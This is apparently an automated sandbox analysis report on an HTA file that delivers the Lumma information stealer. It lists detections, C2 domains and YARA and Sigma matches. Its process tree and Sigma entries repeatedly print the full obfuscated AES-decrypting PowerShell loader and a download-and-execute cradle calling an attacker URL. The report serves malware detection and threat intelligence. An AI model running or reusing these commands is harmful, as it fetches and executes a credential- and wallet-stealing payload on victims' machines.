Edit tour

Windows Analysis Report
re5.mp4.hta

Overview

General Information

Sample name:	re5.mp4.hta
Analysis ID:	1582681
MD5:	5697159735d484d2d4fff3ef06aa6f62
SHA1:	98d8b2509628ab131345992f2d43241913d12557
SHA256:	3098a9c50afcd478c3eeb9b12b3794109c0f3652263bcaf8b0077c413188e4da
Tags:	htaLummaStealeruser-lontze7
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell Download and Execute IEX

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Download and Execute Pattern

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 764 cmdline: mshta.exe "C:\Users\user\Desktop\re5.mp4.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 4524 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 616 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3836 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 6388 cmdline: powershell -exec bypass MZP MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "scentniej.buzz", "inherineau.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "cashfuzysao.buzz", "permissiblene.click"], "Build id": "yJaNLj--re5"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2856842379.0000000006F90000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: powershell.exe PID: 4524	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4524	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1219f6:$b1: ::WriteAllBytes( 0x121f19:$b1: ::WriteAllBytes( 0x19ba5:$s1: -join 0x1ab36:$s1: -join 0x1bc47:$s1: -join 0x2531e:$s1: -join 0x31a8f:$s1: -join 0x477a4:$s1: -join 0x47f58:$s1: -join 0x7df1f:$s1: -join 0x7e516:$s1: -join 0x851c3:$s1: -join 0xb4970:$s1: -join 0xb770b:$s1: -join 0xb7cbe:$s1: -join 0xba00d:$s1: -join 0xba770:$s1: -join 0xbbd19:$s1: -join 0xf564e:$s1: -join 0x1187e8:$s1: -join 0x118f4b:$s1: -join
Process Memory Space: powershell.exe PID: 616	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 616	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x32af31:$b2: ::FromBase64String( 0x32aeb5:$s1: -join 0x70069a:$s1: -join 0x70d76f:$s1: -join 0x710b41:$s1: -join 0x7111f3:$s1: -join 0x712ce4:$s1: -join 0x714eea:$s1: -join 0x715711:$s1: -join 0x715f81:$s1: -join 0x7166bc:$s1: -join 0x7166ee:$s1: -join 0x716736:$s1: -join 0x716755:$s1: -join 0x716fa5:$s1: -join 0x717121:$s1: -join 0x717199:$s1: -join 0x71722c:$s1: -join 0x717492:$s1: -join 0x719628:$s1: -join 0x728072:$s1: -join
Process Memory Space: powershell.exe PID: 3836	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.powershell.exe.6f90000.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_4524.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_616.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4524, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , ProcessId: 616, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B30

Sigma detected: Suspicious PowerShell Download and Execute Pattern

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass MZP, CommandLine: powershell -exec bypass MZP, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3836, ParentProcessName: powershell.exe, ProcessCommandLine: powershell -exec bypass MZP, ProcessId: 6388, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B30

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129), ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4524, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , ProcessId: 616, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = 